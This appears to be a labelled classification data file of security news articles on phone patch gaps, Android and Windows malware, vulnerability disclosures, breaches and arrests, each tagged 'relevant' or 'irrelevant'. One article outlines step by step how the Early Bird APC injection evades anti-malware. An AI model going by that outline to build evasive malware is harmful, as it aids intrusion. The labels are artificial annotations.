"Popular Android Phone Manufacturers Caught Lying About Security Updates Android ecosystem is highly broken when it comes to security, and device manufacturers (better known as OEMs) make it even worse by not providing critical patches in time. According to a new study, most Android vendors have been lying to users about security updates and telling customers that their smartphones are running the latest updates. In other words, most smartphone manufacturers including big players like Samsung, Xiaomi, OnePlus, Sony, HTC, LG, and Huawei are not delivering you every critical security patch they're supposed to, a study by Karsten Nohl and Jakob Lell of German security firm Security Research Labs (SRL) revealed. Nohl and Lell examined the firmware of 1,200 smartphones from over a dozen vendors, for every Android patch released last year, and found that many devices have a ""patch gap,"" leaving parts of the Android ecosystem exposed to hackers. ""Sometimes these guys just change the date without installing any patches. Probably for marketing reasons, they just set the patch level to almost an arbitrary date, whatever looks best,"" Nohl says in an interview with Wired. Google releases security patches every month to keep its Android ecosystem safe and secure from the underlying risks, but since every manufacturer and mobile carrier modify the operating system to make their smartphone unique, they often fail to apply all those patches in time. SRL researchers investigated smartphones that had supposedly received and installed the latest Android updates and released the following breakdown of their findings: 0-1 missed patches—Google, Sony, Samsung, Wiko Mobile 1-3 missed patches—Xiaomi, OnePlus, Nokia 3-4 missed patches—HTC, Huawei, LG, Motorola 4+ missed patches—TCL, ZTE Specifically, the above result focused on security patches for Critical and High severity vulnerabilities that were released in 2017. As shown above, Google, Samsung, Wiko Mobile and Sony are still doing great in installing patches, but others, specifically Chinese vendors like Xiaomi and OnePlus are worse in protecting their customers against latest security flaws. In order to address the patch gap issue, Google has already launched a project, dubbed Treble, under which the company brought some significant changes to the Android system architecture last year to gain more control over the update process. google-android-treble Project Treble was included as part of Android 8.0 Oreo and has been designed to separate core hardware code from the OS code, eliminating OEMs' dependencies over to deliver Android updates faster. However, even if your Android device runs Oreo 8.0 operating system, it's not necessary that it supports Treble project, as it's still up to the device manufacturer to include it. For example, Oreo firmware update for OnePlus devices don't support Treble yet. But new devices will be required to support Treble moving forward. Check Your Device For 'Patch Level' Meanwhile, SRL has developed an app called SnoopSnitch, which you can download for free, to measure the patch level of your own Android smartphone, helping you verify vendor claims about the security of your devices.",irrelevant
"New Android Malware Secretly Records Phone Calls and Steals Private Data Security researchers at Cisco Talos have uncovered variants of a new Android Trojan that are being distributed in the wild disguising as a fake anti-virus application, dubbed ""Naver Defender."" Dubbed KevDroid, the malware is a remote administration tool (RAT) designed to steal sensitive information from compromised Android devices, as well as capable of recording phone calls. Talos researchers published Monday technical details about two recent variants of KevDroid detected in the wild, following the initial discovery of the Trojan by South Korean cybersecurity firm ESTsecurity two weeks ago. Though researchers haven't attributed the malware to any hacking or state-sponsored group, South Korean media have linked KevDroid with North Korea state-sponsored cyber espionage hacking group ""Group 123,"" primarily known for targeting South Korean targets. The most recent variant of KevDroid malware, detected in March this year, has the following capabilities: record phone calls & audio steal web history and files gain root access steal call logs, SMS, emails collect device' location at every 10 seconds collect a list of installed applications Malware uses an open source library, available on GitHub, to gain the ability to record incoming and outgoing calls from the compromised Android device. android-malware Although both malware samples have the same capabilities of stealing information on the compromised device and recording the victim's phone calls, one of the variants even exploits a known Android flaw (CVE-2015-3636) to get root access on the compromised device. All stolen data is then sent to an attacker-controlled command and control (C2) server, hosted on PubNub global Data Stream Network, using an HTTP POST request. ""If an adversary were successful in obtaining some of the information KevDroid is capable of collecting, it could result in a multitude of issues for the victim,"" resulting in ""the leakage of data, which could lead to a number of things, such as the kidnapping of a loved one, blackmail by using images or information deemed secret, credential harvesting, multi-factor token access (SMS MFA), banking/financial implications and access to privileged information, perhaps via emails/texts,"" Talos says. ""Many users access their corporate email via mobile devices. This could result in cyber espionage being a potential outcome for KevDroid."" Researchers also discovered another RAT, designed to target Windows users, sharing the same C&C server and also uses PubNub API to send commands to the compromised devices. How to Keep Your Smartphone Secure Android users are advised to regularly cross-check apps installed on their devices to find and remove if any malicious/unknown/unnecessary app is there in the list without your knowledge or consent. Such Android malware can be used to target your devices as well, so you if own an Android device, you are strongly recommended to follow these simple steps to help avoid this happening to you: Never install applications from 3rd-party stores. Ensure that you have already opted for Google Play Protect. Enable 'verify apps' feature from settings. Keep ""unknown sources"" disabled while not using it. Install anti-virus and security software from a well-known cybersecurity vendor. Regularly back up your phone. Always use an encryption application for protecting any sensitive information on your phone. Never open documents that you are not expecting, even if it looks like it's from someone you know. Protect your devices with pin or password lock so that nobody can gain unauthorized access to your device when remains unattended. Keep your device always up-to-date with the latest security patches.",relevant
"Authentication Bypass Vulnerability Found in Auth0 Identity Platform A critical authentication bypass vulnerability has been discovered in one of the biggest identity-as-a-service platform Auth0 that could have allowed a malicious attacker to access any portal or application, which are using Auth0 service for authentication. Auth0 offers token-based authentication solutions for a number of platforms including the ability to integrate social media authentication into an application. With over 2000 enterprise customers and managing 42 million logins every day and billions of login per month, Auth0 is one of the biggest identity platforms. While pentesting an application back in September 2017, researchers from security firm Cinta Infinita discovered a flaw (CVE-2018-6873) in Auth0's Legacy Lock API, which resides due to improper validation of the JSON Web Tokens (JWT) audience parameter. Researchers successfully exploited this issue to bypass login authentication using a simple cross-site request forgery (CSRF/XSRF) attack against the applications running over Auth0 authentication. Auth0's CSRF vulnerability (CVE-2018-6874) allows an attacker to reuse a valid signed JWT generated for a separate account to access the targeted victim's account. For this, all an attacker needs is the victim's user ID or email address, which can be obtained using simple social engineering tricks. Video Demonstration of the Attack According to the researchers, the attack is reproducible against many organisations, ""as long as we know the expected fields and values for the JWT. There is no need of social engineering in most of the cases we saw. Authentication for applications that use an email address or an incremental integer for user identification would be trivially bypassed."" The security firm reported the vulnerability to the Auth0 Security Team in October 2017. The company acted very fast and addressed the weakness in less than 4 hours. However, since the vulnerable SDK and supported libraries of Auth0 have been implemented on the client side, Auth0 took almost six months to contact each of their customers and help them fix this vulnerability, before publicly disclosing this issue. ""Unlike the fix for the special case discovered by Cinta Infinita, this issue could not be solved without forcing our customers to upgrade the libraries/SDKs on their end, a much more significant undertaking,"" the Auth0 team said in its advisory. The company has mitigated the vulnerabilities by extensively rewriting the affected libraries and releasing new versions of its SDKs (auth0.js 9 and Lock 11). Cinta Infinita also waited six months before publicly disclosing the vulnerability, giving the Auth0 team enough time to update all their Private SaaS Appliances (on-premises) as well. The security firm has now released a proof-of-concept (PoC) video, demonstrating how they obtained the victim's user id and bypass password authentication when logging into Auth0's Management Dashboard by forging an authentication token.",relevant
"How to Steal Bitcoin Wallet Keys (Cold Storage) from Air-Gapped PCs Dr. Mordechai Guri, the head of R&D team at Israel's Ben Gurion University, who previously demonstrated various methods to steal data from an air-gapped computer, has now published new research named ""BeatCoin."" BeatCoin is not a new hacking technique; instead, it's an experiment wherein the researcher demonstrates how all previously discovered out-of-band communication methods can be used to steal private keys for a cryptocurrency wallet installed on cold storage, preferably an air-gapped computer or Raspberry Pi. For those unaware, keeping your cryptocurrency protected in a wallet on a device which is entirely offline is called cold storage. Since online digital wallets carry different security risks, some people prefer keeping their private keys offline. Air-gapped computers are those that are isolated from the Internet, local networks, Bluetooth and therefore, are believed to be the most secure devices and are difficult to infiltrate or exfiltrate. If you are new to this topic, we recommend reading our previous articles, detailing how highly-motivated attackers can use specially designed malware to exfiltrate data from an air-gapped computer via light, sound, heat, electromagnetic, magnetic, infrared, and ultrasonic waves. air-gapped-computer-hacking For BeatCoin experiment, Dr. Guri deployed malware on an air-gapped computer that runs a Bitcoin wallet application and then performed each attack vector one-by-one to transmit the wallet keys to a nearby device over covert channels. ""In the adversarial attack model, the attacker infiltrates the offline wallet, infecting it with malicious code,"" the paper [PDF] reads. ""The malware can be pre-installed or pushed in during the initial installation of the wallet, or it can infect the system when removable media (e.g., USB flash drive) is inserted into the wallet's computer in order to sign a transaction. These attack vectors have repeatedly been proven feasible in the last decade."" Results shown in the above chart suggests AirHopper, MOSQUITO, and Ultrasonic techniques are the fastest way to transmit a 256-bit private key to a remote receiver, whereas, Diskfiltration and Fansmitter methods take minutes. Guri has also shared two videos. The first one demonstrates exfiltration of private keys from an air-gapped computer, which hardly took a few seconds to transmit data to a nearby smartphone using ultrasonic waves. In the second video, the researcher transmitted private keys stored on a Raspberry Pi device to the nearby smartphone using the RadIoT attack—a technique to exfiltrate data from air-gapped internet-of-things (IoT) and embedded devices via radio signals. ""The radio signals - generated from various buses and general-purpose input/output (GPIO) pins of the embedded devices - can be modulated with binary data. In this case, the transmissions can be received by an AM or FM receiver located nearby the device."" In the last research published earlier this month, Guri's team also demonstrated how hackers could use power fluctuations in the current flow ""propagated through the power lines"" to covertly exfiltrate highly sensitive data out of an air gapped-computer.",irrelevant
"CCleaner Attack Timeline—Here's How Hackers Infected 2.3 Million PCs Last year, the popular system cleanup software CCleaner suffered a massive supply-chain malware attack of all times, wherein hackers compromised the company's servers for more than a month and replaced the original version of the software with the malicious one. The malware attack infected over 2.3 million users who downloaded or updated their CCleaner app between August and September last year from the official website with the backdoored version of the software. Now, it turns out that the hackers managed to infiltrate the company's network almost five months before they first replaced the official CCleaner build with the backdoored version, revealed Avast executive VP and CTO Ondrej Vlcek at the RSA security conference in San Francisco on Tuesday. 6-Months Timeline of CCleaner Supply Chain Attack Vlcek shared a brief timeline of the last year's incident that came out to be the worst nightmare for the company, detailing how and when unknown hackers breached Piriform, the company that created CCleaner and was acquired by Avast in July 2017. March 11, 2017 (5 AM local time)—Attackers first accessed an unattended workstation of one of the CCleaner developers, which was connected to Piriform network, using remote support software TeamViewer. hacking-news The company believes attackers reused the developer's credentials obtained from previous data breaches to access the TeamViewer account and managed to install malware using VBScript on the third attempt. March 12, 2017 (4 AM local time)—Using the first machine, attackers penetrated into the second unattended computer connected to the same network and opened a backdoor through Windows RDP (Remote Desktop Service) protocol. hacking computer Using RDP access, the attackers dropped a binary and a malicious payload—a second stage malware (older version) that was later delivered to 40 CCleaner users—on the target computer's registry. March 14, 2017—Attackers infected the first computer with the older version of the second stage malware as well. April 4, 2017—Attackers compiled a customised version of ShadowPad, an infamous backdoor that allows attackers to download further malicious modules or steal data, and this payload the company believes was the third stage of the CCleaner attack. April 12, 2017—A few days later, attackers installed the 3rd stage payload on four computers in the Piriform network (as a mscoree.dll library) and a build server (as a .NET runtime library). Between mid-April and July—During this period, the attackers prepared the malicious version of CCleaner, and tried to infiltrate other computers in the internal network by installing a keylogger on already compromised systems to steal credentials, and logging in with administrative privileges through RDP. July 18, 2017—Security company Avast acquired Piriform, the UK-based software development company behind CCleaner with more than 2 billion downloads. August 2, 2017—Attackers replaced the original version of CCleaner software from its official website with their backdoored version of CCleaner, which was distributed to millions of users. September 13, 2017—Researchers at Cisco Talos detected the malicious version of the software, which was being distributed through the company's official website for more than a month, and notified Avast immediately. The malicious version of CCleaner had a multi-stage malware payload designed to steal data from infected computers and send it back to an attacker-controlled command-and-control server. Although Avast, with the help of the FBI, was able to shut down the attackers' command-and-control server within three days of being notified of the incident, the malicious CCleaner software had already been downloaded by 2.27 million users. Moreover, it was found that the attackers were then able to install a second-stage payload on 40 selected computers operated by major international technology companies, including Google, Microsoft, Cisco, Intel, Samsung, Sony, HTC, Linksys, D-Link, Akamai and VMware. However, the company has no proofs if the third stage payload with ShadowPad was distributed to any of these targets. ""Our investigation revealed that ShadowPad had been previously used in South Korea, and in Russia, where attackers intruded a computer, observing a money transfer."" Avast said. ""The oldest malicious executable used in the Russian attack was built in 2014, which means the group behind it might have been spying for years."" Based on their analysis of the ShadowPad executable from the Piriform network, Avast believes that the malicious attackers behind the malware have been active for a long time, spying on institutions and organizations so thoroughly.",relevant
"Critical flaw leaves thousands of Cisco Switches vulnerable to remote hacking Security researchers at Embedi have disclosed a critical vulnerability in Cisco IOS Software and Cisco IOS XE Software that could allow an unauthenticated, remote attacker to execute arbitrary code, take full control over the vulnerable network equipment and intercept traffic. The stack-based buffer overflow vulnerability (CVE-2018-0171) resides due to improper validation of packet data in Smart Install Client, a plug-and-play configuration and image-management feature that helps administrators to deploy (client) network switches easily. Embedi has published technical details and Proof-of-Concept (PoC) code after Cisco today released patch updates to address this remote code execution vulnerability, which has been given a base Common Vulnerability Scoring System (CVSS) score of 9.8 (critical). Researchers found a total of 8.5 million devices with the vulnerable port open on the Internet, leaving approximately 250,000 unpatched devices open to hackers. To exploit this vulnerability, an attacker needs to send a crafted Smart Install message to an affected device on TCP port 4786, which is opened by default. ""To be more precise, the buffer overflow takes place in the function smi_ibc_handle_ibd_init_discovery_msg"" and ""because the size of the data copied to a fixed-size buffer is not checked, the size and data are taken directly from the network packet and are controlled by an attacker,"" Cisco explain in its advisory. The vulnerability can also result in a denial-of-service condition (watchdog crash) by triggering indefinite loop on the affected devices. Researchers demonstrated the vulnerability at a conference in Hong Kong after reporting it to Cisco in May 2017. Video Demonstrations of the Attack: In their first demonstration, as shown in the video below, researchers targeted Cisco Catalyst 2960 switch to reset/change the password and entered privileged EXEC mode: In their second demo, researchers exploited the flaw to successfully intercept the traffic between other devices connected to the vulnerable switch and the Internet. Affected Hardware and Software: The vulnerability was tested on Catalyst 4500 Supervisor Engines, Cisco Catalyst 3850 Series Switches, and Cisco Catalyst 2960 Series Switches devices, as well as all devices that fall into the Smart Install Client type are potentially vulnerable, including: Catalyst 4500 Supervisor Engines Catalyst 3850 Series Catalyst 3750 Series Catalyst 3650 Series Catalyst 3560 Series Catalyst 2960 Series Catalyst 2975 Series IE 2000 IE 3000 IE 3010 IE 4000 IE 4010 IE 5000 SM-ES2 SKUs SM-ES3 SKUs NME-16ES-1G-P SM-X-ES3 SKUs Cisco fixed the vulnerability in all of its affected products on 28th March 2018, and Embedi published a blog post detailing the vulnerability on 29th March. So, administrators are highly recommended to install free software updates to address the issue as soon as possible.",relevant
"Police Shut Down World's Biggest 'DDoS-for-Hire' Service–Admins Arrested In a major hit against international cybercriminals, the Dutch police have taken down the world's biggest DDoS-for-hire service that helped cyber criminals launch over 4 million attacks and arrested its administrators. An operation led by the UK's National Crime Agency (NCA) and the Dutch Police, dubbed ""Power Off,"" with the support of Europol and a dozen other law enforcement agencies, resulted in the arrest of 6 members of the group behind the ""webstresser.org"" website in Scotland, Croatia, Canada and Serbia on Tuesday. With over 136,000 registered users, Webstresser website lets its customers rent the service for about £10 to launch Distributed Denial of Service (DDoS) attacks against their targets with little or no technical knowledge. ""With webstresser.org, any registered user could pay a nominal fee using online payment systems or cryptocurrencies to rent out the use of stressers and booters,"" Europol said. The service was also responsible for cyber attacks against seven of the UK's biggest banks in November last year, as well as government institutions and gaming industry. ddos-for-hire-hacker ""It's a growing problem, and one we take very seriously. Criminals are very good at collaborating, victimizing millions of users in a moment from anywhere in the world,"" said Steven Wilson, Head of Europol's European Cybercrime Centre (EC3). The Webstresser site has now been shut down, and its infrastructure has been seized in the Netherlands, Germany, and the United States. The site has been replaced with a page announcing that law enforcement authorities had taken the service offline. ""As part of the operational activity, an address was identified and searched in Bradford and a number of items seized,"" NCA said. Moreover, the authorities have also taken against the top users of this marketplace in the Netherlands, Italy, Spain, Croatia, the United Kingdom, Australia, Canada and Hong Kong, Europol announced. The Dutch police said the Operation Power Off should send a clear warning to users of sites like webstresser. ""Don't do it,"" Gert Ras, head of the Dutch police's High Tech Crime unit, said. ""By tracking down the DDoS service you use, we strip you of your anonymity, hand you a criminal record and put your victims in a position to claim back damages from you."" The police also reminded people that DDoSing is a crime, for which the ""penalties can be severe."" If you conduct a DDoS attack, or make, supply or obtain stresser or booter services, you could end up in prison, and fine or both.",irrelevant
"Third Critical Drupal Flaw Discovered—Patch Your Sites Immediately Damn! You have to update your Drupal websites. Yes, of course once again—literally it's the third time in last 30 days. As notified in advance two days back, Drupal has now released new versions of its software to patch yet another critical remote code execution (RCE) vulnerability, affecting its Drupal 7 and 8 core. Drupal is a popular open-source content management system software that powers millions of websites, and unfortunately, the CMS has been under active attacks since after the disclosure of a highly critical remote code execution vulnerability. The new vulnerability was discovered while exploring the previously disclosed RCE vulnerability, dubbed Drupalgeddon2 (CVE-2018-7600) that was patched on March 28, forcing the Drupal team to release this follow-up patch update. According to a new advisory released by the team, the new remote code execution vulnerability (CVE-2018-7602) could also allow attackers to take over vulnerable websites completely. How to Patch Drupal Vulnerability Drupalgeddon3 Since the previously disclosed flaw derived much attention and motivated attackers to target websites running over Drupal, the company has urged all website administrators to install new security patches as soon as possible. If you are running 7.x, upgrade to Drupal 7.59. If you are running 8.5.x, upgrade to Drupal 8.5.3. If you are running 8.4.x, which is no longer supported, you need first to update your site to 8.4.8 release and then install the latest 8.5.3 release as soon as possible. It should also be noted that the new patches will only work if your site has already applied patches for Drupalgeddon2 flaw. ""We are not aware of any active exploits in the wild for the new vulnerability,"" a drupal spokesperson told The Hacker News. ""Moreover, the new flaw is more complex to string together into an exploit."" Technical details of the flaw, can be named Drupalgeddon3, have not been released in the advisory, but that does not mean you can wait until next morning to update your website, believing it won't be attacked. We have seen how attackers developed automated exploits leveraging Drupalgeddon2 vulnerability to inject cryptocurrency miners, backdoors, and other malware into websites, within few hours after it's detailed went public. Besides these two flaws, the team also patched a moderately critical cross-site scripting (XSS) vulnerability last week, which could have allowed remote attackers to pull off advanced attacks including cookie theft, keylogging, phishing and identity theft. Therefore, Drupal website admins are highly recommended to update their websites as soon as possible.",relevant
"Hackers Found Using A New Code Injection Technique to Evade Detection While performing in-depth analysis of various malware samples, security researchers at Cyberbit found a new code injection technique, dubbed Early Bird, being used by at least three different sophisticated malware that helped attackers evade detection. As its name suggests, Early Bird is a ""simple yet powerful"" technique that allows attackers to inject malicious code into a legitimate process before its main thread starts, and thereby avoids detection by Windows hook engines used by most anti-malware products. The Early Bird code injection technique ""loads the malicious code in a very early stage of thread initialization, before many security products place their hooks—which allows the malware to perform its malicious actions without being detected,"" the researchers said. The technique is similar to the AtomBombing code injection technique that does not rely on easy-to-detect API calls, allowing malware to inject code into processes in a manner that no anti-malware tools can detect. How Early Bird Code Injection Works Early Bird code injection method relies on a Windows built-in APC (Asynchronous Procedure Calls) function that allows applications to execute code asynchronously in the context of a particular thread. Here's a brief step-by-step explanation of how an attacker can inject malicious code into a legitimate process in a way that it gets executed earlier before an anti-malware program starts scanning. Create a suspended process of a legitimate Windows process (e.g., svchost.exe) Allocate memory in that process (svchost.exe) and write the malicious code into the allocated memory region, Queue an asynchronous procedure call (APC) to the main thread of that process (svchost.exe), Since APC can execute a process only when it is in an alertable state, call NtTestAlert function to force kernel into executing the malicious code as soon as the main thread resumes. According to the researchers, at least three following-mentioned malware were found using Early Bird code injection in the wild. ""TurnedUp"" backdoor, developed by an Iranian hacking group (APT33) A variant of ""Carberp"" banking malware ""DorkBot"" malware Initially discovered by FireEye in September 2017, TurnedUp is a backdoor that is capable of exfiltrating data from the target system, creating reverse shells, taking screenshots as well as gathering system information. early-bird-malware-code-injection-technique Dates back to 2012, DorBot is botnet malware distributed via links on social media, instant messaging apps or infected removable media and is used to steal users' credentials for online services, including banking services, participate in distributed denial-of-service (DDoS) attacks, send spam and deliver other malware to victims' computers. Researchers have also provided a video demonstration, which shows the new Early Bird code injection technique in action.",relevant
"Critical Code Execution Flaw Found in CyberArk Enterprise Password Vault A critical remote code execution vulnerability has been discovered in CyberArk Enterprise Password Vault application that could allow an attacker to gain unauthorized access to the system with the privileges of the web application. Enterprise password manager (EPV) solutions help organizations securely manage their sensitive passwords, controlling privileged accounts passwords across a wide range of client/server and mainframe operating systems, switches, databases, and keep them safe from external attackers, as well as malicious insiders. Discovered by German cybersecurity firm RedTeam Pentesting GmbH, the vulnerability affects one of such Enterprise Password Vault apps designed by CyberArk—a password management and security tool that manages sensitive passwords and controls privileged accounts. The vulnerability (CVE-2018-9843) resides in CyberArk Password Vault Web Access, a .NET web application created by the company to help its customers access their accounts remotely. The flaw is due to the way web server unsafely handle deserialization operations, which could allow attackers to execute code on the server processing the deserialized data. According to the researchers, when a user logs in into his account, the application uses REST API to send an authentication request to the server, which includes an authorization header containing a serialized .NET object encoded in base64. This serialized .NET object holds the information about a user's session, but researchers found that the ""integrity of the serialized data is not protected."" Since the server does not verify the integrity of the serialized data and unsafely handles the deserialization operations, attackers can merely manipulate authentication tokens to inject their malicious code into the authorization header, gaining ""unauthenticated, remote code execution on the web server."" Researchers have also released a full proof-of-concept code to demonstrate the vulnerability using ysoserial.net, an open source tool for generating payloads for .NET applications performing unsafe deserialization of objects. The technical details of the vulnerability and exploit code came only after RedTeam responsibly reported the vulnerability to CyberArk and the company rolled out patched versions of the CyberArk Password Vault Web Access. Enterprises using CyberArk Password Vault Web Access are highly recommended to upgrade their software to version 9.9.5, 9.10 or 10.2. In case you cannot immediately upgrade your software, the possible workaround to mitigate this vulnerability is disabling any access to the API at the route / PasswordVault / WebServices.",relevant
"Facebook admits public data of its 2.2 billion users has been compromised Facebook dropped another bombshell on its users by admitting that all of its 2.2 billion users should assume malicious third-party scrapers have compromised their public profile information. On Wednesday, Facebook CEO Mark Zuckerberg revealed that ""malicious actors"" took advantage of ""Search"" tools on its platform to discover the identities and collect information on most of its 2 billion users worldwide. The revelation once again underlines the failure of the social-media giant to protect users' privacy while generating billions of dollars in revenue from the same information. The revelation came weeks after the disclosure of the Cambridge Analytica scandal, wherein personal data of 77 million users was improperly gathered and misused by the political consultancy firm, who reportedly also helped Donald Trump win the US presidency in 2016. However, the latest scam revealed by the social media giant about the abuse of Facebook's search tools over the course of several years impacts almost all of its 2.2 billion users, making it the worst year for the world's largest social network. ""It is clear now that we didn't do enough, we didn't focus enough on preventing abuse,"" Zuckerberg told press reporters. ""We didn't take a broad enough view of what our responsibility is, and that was a huge mistake."" The company said it had disabled the feature—which allows anyone to look up users by entering phone numbers or email addresses into Facebook's search tool—in its site's search function that enabled malicious actors to scrape public profile information. Here's How Scrapped Data Could Have Helped Cybercriminals As mentioned above, the source of this scam was Facebook's search function, which was turned on by default. Hackers took help of ""Dark Web,"" where criminals post personal information of users stolen from data breaches over the years, to collect. Once they had their hands on email addresses and phone numbers, the hackers then used automated computer programs to feed the email addresses and phone numbers into Facebook's ""search"" box. This scan allowed them to find out the full names of people associated with the email addresses or phone numbers, along with the Facebook profile information they chose to make public, which often includes names, profile photos, and hometown. This collected information was then more likely to be used by cybercriminals to target particular individual using social engineering or other cyber attacks. ""Until today, people could enter another person's phone number or email address into Facebook search to help find them. This has been especially useful for finding your friends in languages which take more effort to type out a full name, or where many people have the same name,"" Facebook Chief Technology Officer Mike Schroepfer said in a blog post describing changes the company has made to its service to protect its users' data better. ""However, malicious actors have also abused these features to scrape public profile information by submitting phone numbers or email addresses they already have through search and account recovery. Given the scale and sophistication of the activity we've seen, we believe most people on Facebook could have had their public profile scraped in this way."" While apologizing ""second time"" to its users, Zuckerberg said this feature has immediately been turned off, noting that the scraped profile information was only limited to what was publically viewable. However, Zuckerberg defended gathering users' data for a business model, arguing ""People tell us that if they're going to see ads, they want the ads to be good."" ""On the one hand, people want relevant experiences, and on the other hand there is some discomfort about how data is used,"" Zuck added. ""I think the overwhelming feedback is for wanting a good experience."" Also, it was initially reported that Cambridge Analytica quiz app gathered data on some 50 million Facebook users, but Facebook revised that number upward by 74 percent, i.e., over 77 million. In an effort to protect its users private data, Facebook is now restricting third-party apps from accessing users' information about their relationship status, religious or political views, work history, education, habits, interest, video watching, and games—basically almost every information data brokers and businesses collect to build profiles of their customers' tastes. The company is all set to roll out a new feature on Monday that will inform users who were affected by the Cambridge Analytica data leak.",irrelevant
"British Schoolboy Who Hacked CIA Director Gets 2-Year Prison Term The British teenager who managed to hack into the online accounts of several high-profile US government employees sentenced to two years in prison on Friday. Kane Gamble, now 18, hacked into email accounts of former CIA director John Brennan, former Director of National Intelligence James Clapper, former FBI Deputy Director Mark Giuliano, and other senior FBI officials—all from his parent's home in Leicestershire. Gamble, who went by the online alias Cracka, was just 15 at the time of carrying out those attacks and was the alleged founder of a hacking group calling themselves Crackas With Attitude (CWA). The notorious pro-Palestinian hacking group carried out a series of embarrassing attacks against U.S. intelligence officials and leaked personal details of 20,000 FBI agents, 9,000 officers from Department of Homeland Security, and some number of DoJ staffers in 2015. The teenager was arrested in February 2016 at his home in Coalville and pleaded guilty to 8 charges last October of ""performing a function with intent to secure unauthorised access"" and 2 charges of ""unauthorised modification of computer material."" On Friday afternoon in the Old Bailey central criminal court in London, Gamble was finally sentenced after his first sentencing hearing in January was postponed, and the judge ruled that he'll have to serve 2 years at a youth detention center, BBC reported. While Gamble's defence said he was ""naive"" and never meant to ""harm"" any individuals during the court hearing, the judge said he carried out ""an extremely nasty campaign of politically-motivated cyber terrorism."" Between June 2015 and February 2016, Gamble posed as Brennan and tricked call center and helpline staff into giving away broadband and cable passwords, using which his team also gained access to extremely sensitive documents for intelligence operations in Afghanistan and Iran. Besides hacking into their networks, Gamble also taunted his victims and their families, bombarded them with calls and messages, released their personal details, downloaded and installed porn onto their computers and took control of their iPads and TV screens. Gamble even made hoax calls to Brennan's home and took control of his wife's iPad. At one point, he also sent DHS secretary Johnson a photograph of his daughter and said he would f*** her. Gamble also phoned Mr. Johnson's wife, leaving a disturbing voicemail message which said: ""Hi Spooky, am I scaring you?,"" and even managed to display the message ""I own you"" on the couple's home television. Gamble said he targeted the US government because he was ""getting more and more annoyed about how corrupt and cold-blooded the US Government"" was and ""decided to do something about it."" According to previous reports, Gamble is suffering from an autistic spectrum disorder, and at the time of his offending, he had the mental development of a 12 or 13-year-old. Gamble's defence had argued court on Friday for a suspended sentence, so he can sit his GCSEs in June and read computer science studies at university to pursue a ""useful"" career. Two other members of Crackas With Attitude—Andrew Otto Boggs and Justin Gray Liverman—were arrested by FBI in September 2016 and had already been sentenced to two and five years in federal prison respectively.",irrelevant
"Here's how hackers are targeting Cisco Network Switches in Russia and Iran Since last week, a new hacking group, calling itself 'JHT,' hijacked a significant number of Cisco devices belonging to organizations in Russia and Iran, and left a message that reads—""Do not mess with our elections"" with an American flag (in ASCII art). MJ Azari Jahromi, Iranian Communication and Information Technology Minister, said the campaign impacted approximately 3,500 network switches in Iran, though a majority of them were already restored. The hacking group is reportedly targeting vulnerable installations of Cisco Smart Install Client, a legacy plug-and-play utility designed to help administrators configure and deploy Cisco equipments remotely, which is enabled by default on Cisco IOS and IOS XE switches and runs over TCP port 4786. Some researchers believe the attack involves a recently disclosed remote code execution vulnerability (CVE-2018-0171) in Cisco Smart Install Client that could allow attackers to take full control of the network equipment. However, since the hack apparently resets the targeted devices, making them unavailable, Cisco believes hackers have been merely misusing the Smart Install protocol itself to overwrite the device configuration, instead of exploiting a vulnerability. ""The Cisco Smart Install protocol can be abused to modify the TFTP server setting, exfiltrate configuration files via TFTP, modify the configuration file, replace the IOS image, and set up accounts, allowing for the execution of IOS commands,"" the company explains. Chinese security firm Qihoo 360's Netlab also confirms that that hacking campaign launched by JHT group doesn't involve the recently disclosed code execution vulnerability; instead, the attack is caused due to the lack of any authentication in the Cisco smart install protocol, reported in March last year. shodan scan According to Internet scanning engine Shodan, more than 165,000 systems are still exposed on the Internet running Cisco Smart Install Client over TCP port 4786. Since Smart Install Client has been designed to allow remote management on Cisco switches, system administrators need to enable it but should limit its access using Interface access control lists (ACLs). Administrators who do not use the Cisco Smart Install feature at all should disable it entirely with the configuration command—""no vstack."" Although recent attacks have nothing to do with CVE-2018-0171, admins are still highly recommended to install patches to address the vulnerability, as with technical details and proof-of-concept (PoC) already available on the Internet, hackers could easily launch their next attack leveraging this flaw.",relevant
"Flaw in Emergency Alert Systems Could Allow Hackers to Trigger False Alarms A serious vulnerability has been exposed in ""emergency alert systems"" that could be exploited remotely via radio frequencies to activate all the sirens, allowing hackers to trigger false alarms. The emergency alert sirens are used worldwide to alert citizens about natural disasters, man-made disasters, and emergency situations, such as dangerous weather conditions, severe storms, tornadoes and terrorist attacks. False alarms can create panic and chaos across the city, as witnessed in Dallas last year, when 156 emergency sirens were turned on for about two hours, waking up residents and sparking fears of a disaster. Dubbed ""SirenJack Attack,"" the vulnerability discovered by a researcher at Bastille security firm affects warning sirens manufactured by Boston-based ATI Systems, which are being used across major towns and cities, as well as Universities, military facilities, and industrial sites. According to Balint Seeber, director of threat research at Bastille, since the radio protocol used to control affected sirens is not using any kind of encryption, attackers can simply exploit this weakness to activate sirens by sending a malicious activation message. ""All that is required is a $30 handheld radio and a computer,"" Seeber claims. To perform the SirenJack attack, a hacker needs to be in the radio range and identify the radio frequency used by the targeted siren in order to send a specially crafted message. ""Once the frequency was found, analysis of the radio protocol quickly showed that commands were not encrypted and therefore vulnerable to forgery, rendering the system susceptible to malicious activations,"" Seeber explains. Researcher finds that Outdoor Public Warning System implemented within the City of San Francisco, designed to alert residents and visitors of about possible danger, has more than 100 warning sirens that malicious hackers can exploit to cause widespread panic and annoyance across the city. Seeber responsibly disclosed this issue to ATI Systems 90 days ago (on January 8). ATI Systems says the patch is being tested and will shortly be made available to fix its systems implemented in the City of San Francisco. However, ATI Systems noted that installing the patch is not easy since many of its products are designed depending upon specific needs of each of its customers. Therefore, customers are advised to contact ATI Systems to determine if they have a vulnerable configuration and/or flawed version of the system, and then take the appropriate steps suggested to remediate the issue. Bastille researchers also encourage other siren manufacturers to ""investigate their own systems to patch and fix this type of vulnerability,"" in case they find it.",relevant
